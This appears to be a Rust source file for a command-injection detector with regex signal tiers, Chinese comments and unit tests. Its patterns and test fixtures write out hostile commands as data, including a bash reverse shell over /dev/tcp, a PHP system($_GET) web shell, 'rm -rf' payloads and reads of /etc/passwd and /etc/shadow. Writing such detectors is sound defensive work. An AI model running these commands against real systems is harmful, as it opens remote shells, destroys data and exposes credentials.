Skip to main content

security_rust/injection/
command_injection.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7/// 强信号:命令执行 / 危险函数的**可执行**形态,出现即是 Critical。
8/// 每条都带内容约束 —— 只认函数名出现的「裸词」形态会把英语散文和技术文档判成攻击
9/// (`system (`、`PowerShell 7`、`cmd.exe scripts`、`pattern.exec(`)。
10/// 8 条分支合并成 1 条 alternation —— `regex_detect` 对列表里每条 `Regex` 各跑一次
11/// `find`,干净输入下 8 次全文扫描变 1 次。分支顺序 = 原 vec 顺序(同一位置上取最左
12/// 分支;与「按列表顺序取第一条命中的模式」相比偏移量可能不同,档位不变)。
13/// 内联 flag 一律裹进 `(?i:…)` —— 裸 `(?i)` 的作用域会蔓延到它后面拼进来的分支。
14static STRONG_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
15    Regex::new(concat!(
16        // bash 专属伪设备,正常内容里不存在
17        r"/dev/tcp[/\w]*",
18        // 以下六个函数名只在「紧跟实参」时才判:散文里的函数名之后没有 `(`/引号/`$`
19        r"|(?i:passthru\s*\()",
20        r"|(?i:shell_exec\s*\()",
21        // 要求实参以引号或 `$` 开头:`system($_GET['cmd'])`、`system("id")` 命中,
22        // `Our system (v2) is faster.` / `The system (as opposed to the client)` 不命中。
23        r#"|(?i:system\s*\(\s*["'$])"#,
24        r"|(?i:popen\s*\()",
25        r"|(?i:pcntl_exec\s*\()",
26        // 只认调用形态(`-Command` / `-EncodedCommand`),安装说明里的词出现不算
27        r"|(?i:powershell(?:\.exe)?\s+-\w)",
28        // 只认带 `/c` `/k` 开关的调用形态,`Legacy deployments used cmd.exe scripts` 不算
29        r"|(?i:cmd\.exe\s+/[ck]\b)",
30        // 敏感路径**不设强信号**:`cat /etc/passwd` 在载荷里和在教程/文档的
31        // 代码块里逐字节同形(examples: "Run `cat /etc/passwd` to list accounts"、
32        // 缩进代码块 `cat /etc/passwd | grep -i admin`),给 reader+路径开 Critical
33        // 会把讲解这类命令的文档一并拒掉。路径形态留在弱档(见 WEAK_PATTERNS 的
34        // reader 动词条与反引号条)。
35    ))
36    .unwrap()
37});
38
39/// 弱信号:形态上与正常内容逐字节同形的那些 —— 运算符、反引号 code span、
40/// JS 的 `exec(`、重定向。正则无法把它们和 Markdown 表格、文档里的行内代码、
41/// `pattern.exec(str)` 分开,所以报 Low 不报 Critical:仍然命中(不静默漏报),
42/// 但单条 5 分不触发拒绝,是否升级交给调用方按聚合分决定。
43/// 10 条分支合并成 1 条 alternation —— `regex_detect` 对列表里每条 `Regex` 各跑一次
44/// `find`,干净输入下 10 次全文扫描变 1 次。分支顺序 = 原 vec 顺序(同一位置上取最左
45/// 分支;与「按列表顺序取第一条命中的模式」相比偏移量可能不同,档位不变)。
46/// 内联 flag 一律裹进 `(?i:…)` —— 裸 `(?i)` 的作用域会蔓延到它后面拼进来的分支。
47static WEAK_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
48    Regex::new(concat!(
49        r"\$\([^)]+\)",
50        r"|\|[\s]*\w+",
51        r"|\|\|[\s]*\w+",
52        r"|&&\s*\w+",
53        // 反引号 span:与 Markdown 行内代码(`` `npm install` ``)同形。
54        // 敏感路径也在这一档 —— `` `cat /etc/passwd` `` 与教程里的行内代码同形。
55        r"|`[^`]+`",
56        // `exec(`:`exec\s*\(\s*["'$]` 能分开 `re.exec(str)` 和 `exec("id")`,
57        // 但 JS 里 `re.exec("literal")` 是常规写法,加了约束照样误判 —— 整条降档。
58        r"|(?i:exec\s*\()",
59        // 重定向符:部署文档 / code span 里同样写着 `deploy.sh >/dev/null`
60        r"|>/dev/null",
61        // reader 动词 + 敏感路径:裸形态(`cat /etc/passwd`)没有定界符,与
62        // 教程代码块里的同一行逐字节同形 —— 检出但只报 Low。
63        r"|(?i:\b(?:cat|type|more|less|head|tail|strings|xxd|od)\s+/etc/(?:passwd|shadow)\b)",
64        // 工具名裸词:强档只认调用形态(`cmd.exe /c`、`powershell -Command`),
65        // 裸词放这里只为不静默漏报 —— 安装说明命中也不过 5 分,不触发拒绝。
66        r"|(?i:cmd\.exe)",
67        r"|(?i:powershell)",
68    ))
69    .unwrap()
70});
71
72pub struct CommandInjectionDetector;
73
74impl Detector for CommandInjectionDetector {
75    fn name(&self) -> &'static str {
76        "command_injection"
77    }
78
79    fn detect(&self, input: &str) -> Option<DetectionResult> {
80        regex_detect(
81            std::slice::from_ref(&*STRONG_PATTERNS),
82            self.name(),
83            AttackCategory::Injection,
84            Severity::Critical,
85            "Command injection detected",
86            input,
87        )
88        .or_else(|| {
89            regex_detect(
90                std::slice::from_ref(&*WEAK_PATTERNS),
91                self.name(),
92                AttackCategory::Injection,
93                Severity::Low,
94                "Shell operator present (weak signal)",
95                input,
96            )
97        })
98    }
99}
100
101#[cfg(test)]
102mod tests {
103    use super::*;
104
105    fn det() -> CommandInjectionDetector {
106        CommandInjectionDetector
107    }
108
109    fn assert_hit(input: &str) {
110        assert_hit_at(input, Severity::Critical);
111    }
112
113    fn assert_hit_at(input: &str, severity: Severity) {
114        crate::test_helpers::assert_detected(&det(), input, AttackCategory::Injection, severity);
115    }
116
117    #[test]
118    fn name_is_command_injection() {
119        assert_eq!(det().name(), "command_injection");
120    }
121
122    #[test]
123    fn detects_common_payloads() {
124        for (input, severity) in [
125            // 强信号:可执行形态,Critical
126            ("bash -i >& /dev/tcp/10.0.0.1/4444", Severity::Critical),
127            ("php -r 'system($_GET[\"cmd\"]);'", Severity::Critical),
128            ("cmd.exe /c dir", Severity::Critical),
129            ("powershell -Command Get-Process", Severity::Critical),
130            ("powershell.exe -EncodedCommand SQBuAHYAbwBrAGUAKAAp", Severity::Critical),
131            ("system(\"id\")", Severity::Critical),
132            // 弱信号:运算符形态恢复检测,但降为 Low(不再单独触发拒绝)
133            ("$(rm -rf /)", Severity::Low),
134            ("ls | grep passwd", Severity::Low),
135            ("cd /tmp && rm -rf *", Severity::Low),
136            // 反引号 span 与 Markdown 行内代码同形,降为 Low:
137            // `` `cat /etc/passwd` `` 在载荷里和在「Run `cat /etc/passwd` to list
138            // accounts」这种教程行里逐字节同形,只有调用方知道它提交的是哪个。
139            ("`cat /etc/passwd`", Severity::Low),
140            ("`systemctl restart app`", Severity::Low),
141            ("exec(\"id\")", Severity::Low),
142            ("deploy.sh >/dev/null", Severity::Low),
143            // 敏感路径与工具名:强档只认调用形态,裸形态在弱档 —— 不静默漏报,
144            // 也不把讲解这些命令的文档判成攻击
145            ("cat /etc/passwd", Severity::Low),
146            ("type /etc/shadow", Severity::Low),
147            ("cmd.exe", Severity::Low),
148            ("powershell", Severity::Low),
149        ] {
150            assert_hit_at(input, severity);
151        }
152    }
153
154    /// 与上面同型的正常文本:同样命中(不再漏报),但只报 Low,
155    /// 由调用方按聚合分决定是否拒绝 —— 单条不至于把 Markdown 表格判成攻击。
156    #[test]
157    fn shell_shaped_text_is_low_not_critical() {
158        for input in [
159            "| Name | Age | City |\n|------|-----|------|\n| Ada | 36 | London |",
160            "if (a && b) { return c; }",
161            "$(document).ready(function() { init(); });",
162            "https://shop.example/search?a=1&&b=2",
163            r#"const total = price * qty && discount > 0;"#,
164        ] {
165            assert_hit_at(input, Severity::Low);
166        }
167    }
168
169    /// 收紧后必须完全干净的「词出现但无调用形态」:散文里的 `system (`、
170    /// 散文里的 `/dev/null`、没有 reader 动词的敏感路径**引用**。
171    #[test]
172    fn tool_names_and_parens_in_prose_are_clean() {
173        for input in [
174            "The system (as opposed to the client) handles authentication.",
175            "Our system (v2) is faster than the previous release.",
176            "See the runbook (internal) for the rollback procedure.",
177            "Log output can be discarded by redirecting to /dev/null.",
178            "The /etc/passwd file holds user account records.",
179            "On Linux, /etc/shadow stores password hashes.",
180            "Never commit /etc/passwd to your repository.",
181        ] {
182            crate::test_helpers::assert_clean(&det(), input);
183        }
184    }
185
186    /// 工具名裸词是弱信号:安装说明命中,但只有 5 分,不触发拒绝。
187    #[test]
188    fn docs_mentioning_tool_names_are_low_not_critical() {
189        for input in [
190            "Install PowerShell 7 from the Microsoft Store, then run the installer.",
191            "Legacy deployments used cmd.exe scripts; those are deprecated.",
192        ] {
193            assert_hit_at(input, Severity::Low);
194        }
195    }
196
197    #[test]
198    fn benign_inputs_not_detected() {
199        for input in [
200            "Hello, this is a normal text input. Nothing suspicious here.",
201            "The system is running normally",
202            "I executed the plan successfully",
203            "Pipes are used to join commands in unix",
204            "Please run the update script",
205        ] {
206            assert!(det().detect(input).is_none(), "false positive: {input}");
207        }
208    }
209
210    /// 真实语料中与运算符形态无关的部分:仍然完全干净。
211    /// (含 `|` / `&&` / `$(` 的那几条不在这里 —— 它们现在是 Low 命中,
212    /// 见 `shell_shaped_text_is_low_not_critical`。)
213    #[test]
214    fn real_world_inputs_not_detected() {
215        for input in [
216            // 普通 HTML 页面片段
217            r#"<!DOCTYPE html>
218<html lang="en"><head><title>Docs</title></head>
219<body><h1>Welcome</h1><p>Read the <a href="/about">about page</a>.</p>
220<img src="/logo.png" alt="logo" width="120">
221</body></html>"#,
222            // 普通 SVG 文件
223            r##"<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24">
224  <path d="M12 2 2 22h20z" fill="none" stroke="#333" stroke-width="2"/>
225  <circle cx="12" cy="12" r="4" fill="#09f"/>
226</svg>"##,
227            // 普通 CSS 块
228            "body { margin: 0; font-family: system-ui, sans-serif; }\n.card { display: flex; gap: 8px; color: #334155; }",
229            // 单个 `&` 的查询串(`&&` 才是弱信号形态)
230            "https://shop.example/search?q=shoes&size=42",
231        ] {
232            crate::test_helpers::assert_clean(&det(), input);
233        }
234    }
235
236    #[test]
237    fn edge_cases() {
238        assert!(det().detect("").is_none());
239        assert!(det().detect(" \t\n ").is_none());
240        assert!(det().detect("你好世界 こんにちは").is_none());
241        // near misses: keyword present but not the payload form
242        assert!(det().detect("system id").is_none());
243        assert!(det().detect("rm -rf /").is_none());
244        assert!(det().detect("cmd /c dir").is_none());
245        assert!(det().detect("shell_exec without parens").is_none());
246        // `cmd.exe` / `powershell` 裸词不是干净输入 —— 它们在弱档命中(Low),
247        // 见 `detects_common_payloads`;这里只钉「没有强档调用形态」。
248    }
249
250    #[test]
251    fn obfuscated_variants_detected() {
252        for input in [
253            "SYSTEM('id')",
254            "Shell_Exec('id')",
255            "PowerShell -Command Get-Process",
256            "PASSTHRU('id')",
257        ] {
258            assert_hit(input);
259        }
260    }
261}